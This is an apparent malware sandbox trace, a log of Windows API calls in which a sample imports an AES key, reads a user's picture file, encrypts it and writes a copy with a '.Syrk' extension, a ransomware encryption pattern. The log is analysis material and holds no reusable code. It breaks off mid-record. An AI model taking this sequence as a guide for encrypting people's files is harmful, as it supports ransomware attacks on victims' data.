0x20 [0246.308] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.308] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0246.308] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0246.308] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.309] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0246.309] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.309] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0246.309] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0246.309] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0246.309] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0246.309] SystemFunction041 (in: Memory=0x5c9b8dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b8dc) returned 0x0 [0246.310] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0246.310] SystemFunction040 (in: Memory=0x5c9b8dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b8dc) returned 0x0 [0246.310] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0246.310] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0246.310] SystemFunction041 (in: Memory=0x5c9b8dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b8dc) returned 0x0 [0246.310] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0246.310] SystemFunction040 (in: Memory=0x5c9b8dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b8dc) returned 0x0 [0246.310] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0246.310] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0246.310] SystemFunction041 (in: Memory=0x5c9b8dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b8dc) returned 0x0 [0246.310] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0246.310] SystemFunction040 (in: Memory=0x5c9b8dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b8dc) returned 0x0 [0246.311] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0246.311] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0246.311] SystemFunction041 (in: Memory=0x5c9b8dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b8dc) returned 0x0 [0246.311] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0246.311] SystemFunction040 (in: Memory=0x5c9b8dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b8dc) returned 0x0 [0246.311] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0246.311] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0246.311] SystemFunction041 (in: Memory=0x5c9b8dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b8dc) returned 0x0 [0246.311] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0246.311] SystemFunction040 (in: Memory=0x5c9b8dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b8dc) returned 0x0 [0246.311] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0246.311] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0246.312] SystemFunction041 (in: Memory=0x5c9b8dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b8dc) returned 0x0 [0246.312] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0246.312] SystemFunction040 (in: Memory=0x5c9b8dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b8dc) returned 0x0 [0246.312] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0246.312] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0246.312] SystemFunction041 (in: Memory=0x5c9b8dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b8dc) returned 0x0 [0246.312] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0246.312] SystemFunction040 (in: Memory=0x5c9b8dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b8dc) returned 0x0 [0246.312] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0246.312] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0246.312] SystemFunction041 (in: Memory=0x5c9b8dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b8dc) returned 0x0 [0246.313] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0246.313] SystemFunction040 (in: Memory=0x5c9b8dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b8dc) returned 0x0 [0246.313] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0246.313] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0246.313] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0246.313] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0246.314] SystemFunction041 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0246.315] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0246.315] SystemFunction040 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0246.315] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0246.315] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0246.315] SystemFunction041 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0246.316] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0246.316] SystemFunction040 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0246.316] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0246.316] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0246.316] SystemFunction041 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0246.316] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0246.316] SystemFunction040 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0246.316] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0246.316] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0246.316] SystemFunction041 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0246.316] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0246.316] SystemFunction040 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0246.317] EtwEventActivityIdControl () returned 0x0 [0246.317] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0246.317] SystemFunction041 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0246.317] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0246.317] SystemFunction040 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0246.319] CryptAcquireContextW (in: phProv=0x5a2e630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e630*=0x5c4d320) returned 1 [0246.321] CryptImportKey (in: hProv=0x5c4d320, pbData=0x244add8*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2ea1c | out: phKey=0x5a2ea1c*=0x5c99660) returned 1 [0246.321] CryptContextAddRef (hProv=0x5c4d320, pdwReserved=0x0, dwFlags=0x0) returned 1 [0246.321] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0246.321] EtwEventActivityIdControl () returned 0x0 [0246.321] EtwEventActivityIdControl () returned 0x0 [0246.321] EtwEventActivityIdControl () returned 0x0 [0246.327] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\6ZfnhezHZzwofrnONF.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\6zfnhezhzzwofrnonf.jpg")) returned 0x20 [0246.328] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\6ZfnhezHZzwofrnONF.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\6zfnhezhzzwofrnonf.jpg")) returned 0x20 [0246.328] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\6ZfnhezHZzwofrnONF.jpg", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x33 [0246.328] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\6ZfnhezHZzwofrnONF.jpg", nBufferLength=0x33, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\6ZfnhezHZzwofrnONF.jpg", lpFilePart=0x0) returned 0x32 [0246.329] EtwEventActivityIdControl () returned 0x0 [0246.329] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0246.352] EtwEventActivityIdControl () returned 0x0 [0246.352] EtwEventActivityIdControl () returned 0x0 [0246.352] EtwEventActivityIdControl () returned 0x0 [0246.353] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\6ZfnhezHZzwofrnONF.jpg", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x33 [0246.353] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\6ZfnhezHZzwofrnONF.jpg", nBufferLength=0x33, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\6ZfnhezHZzwofrnONF.jpg", lpFilePart=0x0) returned 0x32 [0246.353] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0246.354] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\6ZfnhezHZzwofrnONF.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\6zfnhezhzzwofrnonf.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3c4 [0246.354] GetFileType (hFile=0x3c4) returned 0x1 [0246.354] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0246.354] GetFileType (hFile=0x3c4) returned 0x1 [0246.354] EtwEventActivityIdControl () returned 0x0 [0246.355] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0246.355] EtwEventActivityIdControl () returned 0x0 [0246.356] EtwEventActivityIdControl () returned 0x0 [0246.356] EtwEventActivityIdControl () returned 0x0 [0246.357] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\6ZfnhezHZzwofrnONF.jpg.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x38 [0246.357] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\6ZfnhezHZzwofrnONF.jpg.Syrk", nBufferLength=0x38, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\6ZfnhezHZzwofrnONF.jpg.Syrk", lpFilePart=0x0) returned 0x37 [0246.357] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0246.357] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\6ZfnhezHZzwofrnONF.jpg.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\6zfnhezhzzwofrnonf.jpg.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x454 [0246.359] GetFileType (hFile=0x454) returned 0x1 [0246.359] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0246.359] GetFileType (hFile=0x454) returned 0x1 [0246.359] EtwEventActivityIdControl () returned 0x0 [0246.360] CryptGenRandom (in: hProv=0x5c4d320, dwLen=0x10, pbBuffer=0x245b670 | out: pbBuffer=0x245b670) returned 1 [0246.362] CryptContextAddRef (hProv=0x5c4d320, pdwReserved=0x0, dwFlags=0x0) returned 1 [0246.362] CryptDuplicateKey (in: hKey=0x5c99660, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2e7c8 | out: phKey=0x5a2e7c8*=0x5c996e0) returned 1 [0246.362] CryptContextAddRef (hProv=0x5c4d320, pdwReserved=0x0, dwFlags=0x0) returned 1 [0246.362] CryptSetKeyParam (hKey=0x5c996e0, dwParam=0x4, pbData=0x245c9a8*=0x1, dwFlags=0x0) returned 1 [0246.362] CryptSetKeyParam (hKey=0x5c996e0, dwParam=0x1, pbData=0x245c974, dwFlags=0x0) returned 1 [0246.363] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0246.363] EtwEventActivityIdControl () returned 0x0 [0246.363] EtwEventActivityIdControl () returned 0x0 [0246.363] EtwEventActivityIdControl () returned 0x0 [0246.364] EtwEventActivityIdControl () returned 0x0 [0246.365] ReadFile (in: hFile=0x3c4, lpBuffer=0x245f5e4, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x245f5e4*, lpNumberOfBytesRead=0x5a2e7d8*=0x10c70, lpOverlapped=0x0) returned 1 [0246.368] CryptEncrypt (in: hKey=0x5c996e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x24735fc*, pdwDataLen=0x5a2e7cc*=0x10c70, dwBufLen=0x10c70 | out: pbData=0x24735fc*, pdwDataLen=0x5a2e7cc*=0x10c70) returned 1 [0246.369] WriteFile (in: hFile=0x454, lpBuffer=0x245b758*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x245b758*, lpNumberOfBytesWritten=0x5a2e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0246.371] WriteFile (in: hFile=0x454, lpBuffer=0x24745e8*, nNumberOfBytesToWrite=0xfc84, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x24745e8*, lpNumberOfBytesWritten=0x5a2e7b0*=0xfc84, lpOverlapped=0x0) returned 1 [0246.374] ReadFile (in: hFile=0x3c4, lpBuffer=0x245f5e4, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x245f5e4*, lpNumberOfBytesRead=0x5a2e7d8*=0x0, lpOverlapped=0x0) returned 1 [0246.374] CryptEncrypt (in: hKey=0x5c996e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2484278*, pdwDataLen=0x5a2e820*=0x10, dwBufLen=0x10 | out: pbData=0x2484278*, pdwDataLen=0x5a2e820*=0x10) returned 1 [0246.374] CryptEncrypt (in: hKey=0x5c996e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2484294*, pdwDataLen=0x5a2e828*=0x0, dwBufLen=0x10 | out: pbData=0x2484294*, pdwDataLen=0x5a2e828*=0x10) returned 1 [0246.374] WriteFile (in: hFile=0x454, lpBuffer=0x245b758*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2e7f8, lpOverlapped=0x0 | out: lpBuffer=0x245b758*, lpNumberOfBytesWritten=0x5a2e7f8*=0x10, lpOverlapped=0x0) returned 1 [0246.374] CloseHandle (hObject=0x454) returned 1 [0246.377] CloseHandle (hObject=0x3c4) returned 1 [0246.377] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0246.378] EtwEventActivityIdControl () returned 0x0 [0246.378] EtwEventActivityIdControl () returned 0x0 [0246.378] EtwEventActivityIdControl () returned 0x0 [0246.384] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\6ZfnhezHZzwofrnONF.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\6zfnhezhzzwofrnonf.jpg")) returned 0x20 [0246.387] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\6ZfnhezHZzwofrnONF.jpg", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x33 [0246.387] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\6ZfnhezHZzwofrnONF.jpg", nBufferLength=0x33, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\6ZfnhezHZzwofrnONF.jpg", lpFilePart=0x0) returned 0x32 [0246.387] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0246.387] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0246.388] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0246.388] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0246.388] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0246.388] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0246.388] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0246.388] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0246.388] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0246.388] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0246.388] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0246.389] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0246.389] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures" (normalized: "c:\\users\\keecfmwgj\\pictures")) returned 0x11 [0246.389] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures" (normalized: "c:\\users\\keecfmwgj\\pictures")) returned 0x11 [0246.389] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1c [0246.389] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures", nBufferLength=0x1c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures", lpFilePart=0x0) returned 0x1b [0246.389] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\6ZfnhezHZzwofrnONF.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\6zfnhezhzzwofrnonf.jpg")) returned 0x20 [0246.390] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\6ZfnhezHZzwofrnONF.jpg", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x33 [0246.390] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\6ZfnhezHZzwofrnONF.jpg", nBufferLength=0x33, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\6ZfnhezHZzwofrnONF.jpg", lpFilePart=0x0) returned 0x32 [0246.395] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\6ZfnhezHZzwofrnONF.jpg", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x33 [0246.395] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\6ZfnhezHZzwofrnONF.jpg", nBufferLength=0x33, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\6ZfnhezHZzwofrnONF.jpg", lpFilePart=0x0) returned 0x32 [0246.395] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e56c) returned 1 [0246.395] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\6ZfnhezHZzwofrnONF.jpg", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x33 [0246.395] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\6ZfnhezHZzwofrnONF.jpg", nBufferLength=0x33, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\6ZfnhezHZzwofrnONF.jpg", lpFilePart=0x0) returned 0x32 [0246.396] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\6ZfnhezHZzwofrnONF.jpg\\*" (normalized: "c:\\users\\keecfmwgj\\pictures\\6zfnhezhzzwofrnonf.jpg\\*"), lpFindFileData=0x5a2e31c | out: lpFindFileData=0x5a2e31c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, 